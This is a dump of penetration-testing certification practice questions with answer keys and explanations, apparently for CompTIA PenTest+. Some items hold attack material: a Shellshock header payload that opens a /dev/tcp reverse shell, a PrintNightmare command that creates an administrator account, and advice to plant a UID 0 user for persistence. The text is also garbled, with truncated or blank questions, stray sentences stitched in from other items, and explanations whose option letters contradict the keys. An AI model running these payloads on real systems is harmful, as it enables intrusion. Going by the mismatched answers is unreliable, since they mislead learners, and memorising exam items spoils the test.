NEW QUESTION # 120
Which of the following elements of a penetration testing report aims to provide a normalized and standardized representation of discovered vulnerabilities and the overall threat they present to an affected system or network?
- A. Recommendations of mitigation
- B. Executive summary
- C. Vulnerability severity rating
- D. Methodology
Answer: C
Explanation:
The vulnerability severity rating element of a penetration testing report provides a normalized and standardized representation of discovered vulnerabilities and their threat levels. It typically involves assigning a numerical or categorical score (such as low, medium, high, critical) to each vulnerability based on factors like exploitability, impact, and the context in which the vulnerability exists. This helps in prioritizing the vulnerabilities for remediation and provides a clear understanding of the risk they pose to the system or network.
NEW QUESTION # 121
An external legal firm is conducting a penetration test of a large corporation. Which of the following would be most appropriate for the legal firm to use in the subject line of a weekly email update?
- A. Action Required Status Update
- B. Urgent Status Update
- C. Privileged & Confidential Status Update
- D. Important Weekly Status Update
Answer: C
Explanation:
Penetration test results are sensitive information and must be handled confidentially.
Privileged & Confidential Status Update (Option A):
Helps ensure compliance with legal and regulatory standards by labeling the report as confidential.
Encourages secure handling by recipients.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Secure Communication and Reporting" Incorrect options:
Option B (Action Required): Suggests an immediate response is needed, which may not always be the case.
Option C (Important Weekly Status Update): Does not emphasize confidentiality.
Option D (Urgent Status Update): Could cause unnecessary alarm unless truly urgent.
NEW QUESTION # 122
A penetration tester successfully gained access to manage resources and services within the company's cloud environment. This was achieved by exploiting poorly secured administrative credentials that had extensive permissions across the network. Which of the following credentials was the tester able to obtain?
- A. IAM credentials
- B. Cloud storage credentials
- C. SSH key for cloud instance
- D. Temporary security credentials (STS)
Answer: A
Explanation:
IAM (Identity and Access Management) credentials are used to control and manage access to cloud services and resources. When a penetration tester obtains IAM credentials, especially those with administrative privileges, they can perform high-level operations such as provisioning services, modifying configurations, or accessing sensitive data across the cloud environment.
SSH keys would only grant access to a specific instance, not cloud-wide services.
Cloud storage credentials are limited to storage access, not administrative capabilities.
Temporary security credentials (STS) provide limited-time access and are not typically used for broad administrative tasks.
Reference: PT0-003 Objective 1.3 - Exploit cloud-based vulnerabilities, including credential abuse and privilege escalation via IAM.
NEW QUESTION # 123
During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results.
Which of the following should the tester have done?
- A. Used a different scan engine.
- B. Performed a discovery scan.
- C. Configured all the TCP ports on the scan.
- D. Rechecked the scanner configuration.
Answer: B
Explanation:
When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope.
Performing a Discovery Scan:
Purpose: A discovery scan identifies all active devices on the network before running a detailed vulnerability scan. It ensures that all in-scope devices are included in the assessment.
Process: The discovery scan uses techniques like ping sweeps, ARP scans, and port scans to identify active hosts and services.
NEW QUESTION # 124
A penetration tester finds it is possible to downgrade a web application's HTTPS connections to HTTP while performing on-path attacks on the local network. The tester reviews the output of the server response to:
curl -s -i https://internalapp/
HTTP/2 302
date: Thu, 11 Jan 2024 15:56:24 GMT
content-type: text/html; charset=iso-8659-1
location: /login
x-content-type-options: nosniff
server: Prod
Which of the following recommendations should the penetration tester include in the report?
- A. Front the web application with a firewall rule to block access to port 80.
- B. Attach the httponly flag to cookies.
- C. Remove the x-content-type-options header.
- D. Add the HSTS header to the server.
Answer: D
Explanation:
The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).
HSTS (Option A):
HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.
Example header:
Strict-Transport-Security: max-age=31536000; includeSubDomains
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Web Security Headers and HTTPS Enforcements" Incorrect options:
Option B (httponly flag): Protects cookies from JavaScript access but does not enforce HTTPS.
Option C (Firewall rule on port 80): Helps, but does not force browsers to use HTTPS.
Option D (Removing x-content-type-options): Unrelated; nosniff prevents MIME-type sniffing.
NEW QUESTION # 125
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)
- A. Retina
- B. Burp Suite
- C. Wireshark
- D. Nessus
- E. Shodan
- F. Nikto
Answer: C,E
Explanation:
Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
NEW QUESTION # 128
A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?
- A. exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept":
"text/html,application/xhtml+xml,application/xml"} - B. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept":
"text/html,application/xhtml+xml,application/xml"} - C. exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"} - D. exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":

NEW QUESTION # 129
A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?
- A. Upgrade the reverse shell to a true TTY terminal.
- B. Change the password of the root user and revert after the test.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Add a web shell to the root of the website.
Answer: C
Explanation:
The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.
NEW QUESTION # 130

NEW QUESTION # 131
Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?
- A. Use steganography and send the file over FTP
- B. Compress the file and send it using TFTP
- C. Encrypt and send the file over HTTPS
- D. Split the file in tiny pieces and send it over dnscat
Answer: C
Explanation:
When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here's an analysis of each option:
* Use steganography and send the file over FTP (Option A):
* Explanation: Steganography hides data within other files, such as images. FTP is a protocol for transferring files.
* Drawbacks: FTP is not secure as it transmits data in clear text, making it susceptible to interception. Steganography can add an extra layer of obfuscation, but the use of FTP makes this option insecure.
* Compress the file and send it using TFTP (Option B):
* Explanation: TFTP is a simple file transfer protocol that lacks encryption.
* Drawbacks: TFTP is inherently insecure because it does not support encryption, making it easy for attackers to intercept the data during transfer.
* Split the file in tiny pieces and send it over dnscat (Option C):
* Explanation: dnscat is a tool for tunneling data over DNS.
* Drawbacks: While effective at evading detection by using DNS, splitting the file and managing the reassembly adds complexity. Additionally, large data transfers over DNS can raise suspicion.
* Encrypt and send the file over HTTPS
* Explanation: Encrypting the file ensures that its contents are protected during transfer. HTTPS provides a secure, encrypted channel for communication over the internet.
* Advantages: HTTPS is widely used and trusted, making it less likely to raise suspicion.
Encryption ensures the data remains confidential during transit.

* DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.
By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application's security.
NEW QUESTION # 133
During an assessment, a penetration tester manages to get RDP access via a low-privilege user. The tester attempts to escalate privileges by running the following commands:
Import-Module .\PrintNightmare.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print" The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?
- A. Log off and log on with "hacker".
- B. Attempt to add another user.
- C. Bypass the execution policy.
- D. Add a malicious printer driver.
Answer: A
Explanation:
In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.
PrintNightmare Exploit:
PrintNightmare (CVE-2021-34527) is a vulnerability in the Windows Print Spooler service that allows remote code execution and local privilege escalation.
The provided commands are intended to exploit this vulnerability to create a new user with administrative privileges.
Commands Breakdown:
Import-Module .\PrintNightmare.ps1: Loads the PrintNightmare exploit script.
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print": Executes the exploit, creating a new user "hacker" with administrative privileges.
Issue:
The tester still experiences low privileges despite running the exploit successfully.
This could be due to the current session not reflecting the new privileges.
Solution:
Logging off and logging back on with the new "hacker" account will start a new session with the updated administrative privileges.
This ensures that the new privileges are applied correctly.
Pentest References:
Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.
Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.
The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.
By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.

NEW QUESTION # 136
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity:
Source file: components.ts
Issue 2 of 12: Command injection
Severity: High
Call: .innerHTML = response
The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
- A. False positive
- B. False negative
- C. True positive
- D. Low severity
Answer: A
Explanation:
A false positive occurs when a vulnerability scan incorrectly flags a security issue that does not exist or is not exploitable in the context of the application. Here's the reasoning:
* Definition of Command Injection:Command injection vulnerabilities occur when user-controllable data is passed to an interpreter or command execution context without proper sanitization, allowing an attacker to execute arbitrary commands.
* Code Analysis:
* The response variable is defined as a constant (const), which implies its value is immutable during runtime.
* The response is not sourced from user input nor used elsewhere, meaning there is no attack surface or exploitation pathway for an attacker to influence the content of response.
* Scanner Misclassification:Static Application Security Testing (SAST) tools may flag vulnerabilities based on patterns (e.g., .innerHTML usage) without assessing the source and flow of data, resulting in false positives.
* Final Classification:Since the response variable is static and unchangeable, the flagged issue is not exploitable. This makes it a false positive.

- B. PROFINET
- C. Modbus
- D. DNP3
Answer: C
Explanation:
Operational Technology (OT) protocols are used in industrial control systems (ICS) to manage and automate physical processes. Here's an analysis of each protocol regarding whether it sends information in cleartext:
TTEthernet (Option A):
TTEthernet (Time-Triggered Ethernet) is designed for real-time communication and safety-critical systems.
Security: It includes mechanisms for reliable and deterministic data transfer, not typically sending information in cleartext.
DNP3 (Option B):
DNP3 (Distributed Network Protocol) is used in electric and water utilities for SCADA (Supervisory Control and Data Acquisition) systems.
Security: While the original DNP3 protocol transmits data in cleartext, the DNP3 Secure Authentication extensions provide cryptographic security features.
Modbus (Answer: C):
Modbus is a communication protocol used in industrial environments for transmitting data between electronic devices.
Security: Modbus transmits data in cleartext, which makes it susceptible to interception and unauthorized access.
References: The lack of security features in Modbus, such as encryption, is well-documented and a known vulnerability in ICS environments.
PROFINET (Option D):
Explanation: PROFINET is a standard for industrial networking in automation.
Security: PROFINET includes several security features, including support for encryption, which means it doesn't necessarily send information in cleartext.
Conclusion: Modbus is the protocol that most commonly sends information in cleartext, making it vulnerable to eavesdropping and interception.

NEW QUESTION # 143
A company hires a penetration tester to perform an external attack surface review as part of a security engagement. The company informs the tester that the main company domain to investigate is comptia.org.
Which of the following should the tester do to accomplish the assessment objective?
- A. Perform a physical security review to identify vulnerabilities that could affect the company.
- B. Perform a vulnerability assessment over the main domain address provided by the client.
- C. Perform a phishing assessment to try to gain access to more resources and users' computers.
- D. Perform information-gathering techniques to review internet-facing assets for the company.
Answer: D
Explanation:
Comprehensive and Detailed Explanation:
An external attack surface review focuses on identifying publicly accessible assets that an attacker could exploit. The first step in this process is information gathering, which involves enumerating domains, subdomains, public IPs, DNS records, and other internet-facing resources. This is done using passive reconnaissance tools such as Whois, Shodan, Google Dorking, and OSINT techniques.
Option A is correct because it aligns with the assessment goal-finding public-facing systems and their vulnerabilities before an attacker does.
Option B (phishing assessment) is incorrect because it involves social engineering, which is not part of an external attack surface review.
Option C (physical security review) is incorrect as it pertains to physical penetration testing, not an external attack analysis.
Option D (vulnerability assessment) is incorrect because a vulnerability assessment is a later step after reconnaissance. The first step is identifying assets through information gathering.
Reference: CompTIA PenTest+ PT0-003 Official Guide - Chapter 4 (Information Gathering and OSINT).
NEW QUESTION # 144
During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:
snmpwalk -v 2c -c public 192.168.1.23
Which of the following is the tester trying to do based on the command they used?
- A. Bypass defensive systems to collect more information.
- B. Validate the results and remove false positives.
- C. Script exploits to gain access to the systems and host.
- D. Use an automation tool to perform the attacks.
Answer: B
Explanation:
The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here's the purpose in the context provided:
* SNMP Enumeration:
* Function: snmpwalk is used to retrieve a large amount of information from the target device using SNMP.
* Version: -v 2c specifies the SNMP version.
* Community String: -c public specifies the community string, which is essentially a password for SNMP queries.
* Purpose of the Command:
* Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.
* Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner's results.
* Comparison with Other Options:
* Bypassing Defensive Systems (A): Not directly related to SNMP enumeration.
* Using Automation Tools (B): While SNMPwalk is automated, the primary purpose here is validation.
* Script Exploits (C): SNMPwalk is not used for scripting exploits but for information gathering.
By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.
